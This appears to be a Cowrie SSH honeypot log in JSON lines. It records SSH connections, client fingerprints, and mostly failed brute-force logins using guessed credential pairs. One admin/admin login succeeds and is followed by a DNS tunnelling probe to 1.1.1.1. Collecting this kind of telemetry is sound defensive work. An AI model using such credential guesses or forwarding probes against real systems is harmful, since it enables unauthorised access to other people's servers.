{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:52.473468Z","src_ip":"185.9.193.111","session":"f7a8b7288975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"8888","message":"login attempt [guest/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:54.403857Z","src_ip":"185.9.193.111","session":"f7a8b7288975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:56.290363Z","src_ip":"185.9.193.111","session":"f7a8b7288975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":41676,"dst_ip":"10.17.0.5","dst_port":22,"session":"27746bce59a2","protocol":"ssh","message":"New connection: 211.186.79.173:41676 (10.17.0.5:22) [session: 27746bce59a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:03.727601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:03.733168Z","src_ip":"211.186.79.173","session":"27746bce59a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:03.925227Z","src_ip":"211.186.79.173","session":"27746bce59a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc#123","message":"login attempt [ubuntu/abc#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:04.722338Z","src_ip":"211.186.79.173","session":"27746bce59a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:05.918185Z","src_ip":"211.186.79.173","session":"27746bce59a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":51250,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ce19ed1b95f","protocol":"ssh","message":"New connection: 4.213.160.153:51250 (159.203.135.109:22) [session: 9ce19ed1b95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:27.260054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:27.308997Z","src_ip":"4.213.160.153","session":"9ce19ed1b95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:27.491158Z","src_ip":"4.213.160.153","session":"9ce19ed1b95f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ubuntu","message":"login attempt [ftpuser/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:28.216134Z","src_ip":"4.213.160.153","session":"9ce19ed1b95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:29.406455Z","src_ip":"4.213.160.153","session":"9ce19ed1b95f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":47984,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ac5db920ad","protocol":"ssh","message":"New connection: 36.93.249.106:47984 (159.203.135.109:22) [session: a3ac5db920ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:37.878294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:37.883285Z","src_ip":"36.93.249.106","session":"a3ac5db920ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:38.161198Z","src_ip":"36.93.249.106","session":"a3ac5db920ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"pass","message":"login attempt [testuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:39.308316Z","src_ip":"36.93.249.106","session":"a3ac5db920ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:40.590015Z","src_ip":"36.93.249.106","session":"a3ac5db920ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:53:49.524269Z","src_ip":"120.48.135.189","session":"35fdf222296d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":56428,"dst_ip":"10.17.0.5","dst_port":22,"session":"711ae7aeca68","protocol":"ssh","message":"New connection: 211.186.79.173:56428 (10.17.0.5:22) [session: 711ae7aeca68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:20.313394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:20.318003Z","src_ip":"211.186.79.173","session":"711ae7aeca68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:20.502869Z","src_ip":"211.186.79.173","session":"711ae7aeca68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd1234!","message":"login attempt [ubuntu/abcd1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:21.260715Z","src_ip":"211.186.79.173","session":"711ae7aeca68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:22.444757Z","src_ip":"211.186.79.173","session":"711ae7aeca68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":42390,"dst_ip":"159.203.135.109","dst_port":22,"session":"52dbfdf833de","protocol":"ssh","message":"New connection: 36.93.249.106:42390 (159.203.135.109:22) [session: 52dbfdf833de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:31.292963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:31.297148Z","src_ip":"36.93.249.106","session":"52dbfdf833de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:31.568769Z","src_ip":"36.93.249.106","session":"52dbfdf833de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"admin","message":"login attempt [testuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:32.679687Z","src_ip":"36.93.249.106","session":"52dbfdf833de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:33.953460Z","src_ip":"36.93.249.106","session":"52dbfdf833de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61662,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6a2fbf27f0e","protocol":"ssh","message":"New connection: 87.251.64.176:61662 (10.17.0.5:22) [session: f6a2fbf27f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:51.809071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:51.813784Z","src_ip":"87.251.64.176","session":"f6a2fbf27f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:51.914500Z","src_ip":"87.251.64.176","session":"f6a2fbf27f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":39049,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ce3e3983cf1","protocol":"ssh","message":"New connection: 185.9.193.111:39049 (159.203.135.109:22) [session: 3ce3e3983cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:52.250030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:52.255130Z","src_ip":"185.9.193.111","session":"3ce3e3983cf1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:52.323526Z","src_ip":"87.251.64.176","session":"f6a2fbf27f0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:52.423141Z","session":"f6a2fbf27f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:52.465658Z","src_ip":"185.9.193.111","session":"3ce3e3983cf1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:52.521303Z","src_ip":"87.251.64.176","session":"f6a2fbf27f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:52.621324Z","src_ip":"87.251.64.176","session":"f6a2fbf27f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":60716,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0e29a5dc8ee","protocol":"ssh","message":"New connection: 120.48.135.189:60716 (10.17.0.5:22) [session: b0e29a5dc8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:52.929309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:52.935387Z","src_ip":"120.48.135.189","session":"b0e29a5dc8ee","protocol":"ssh"}
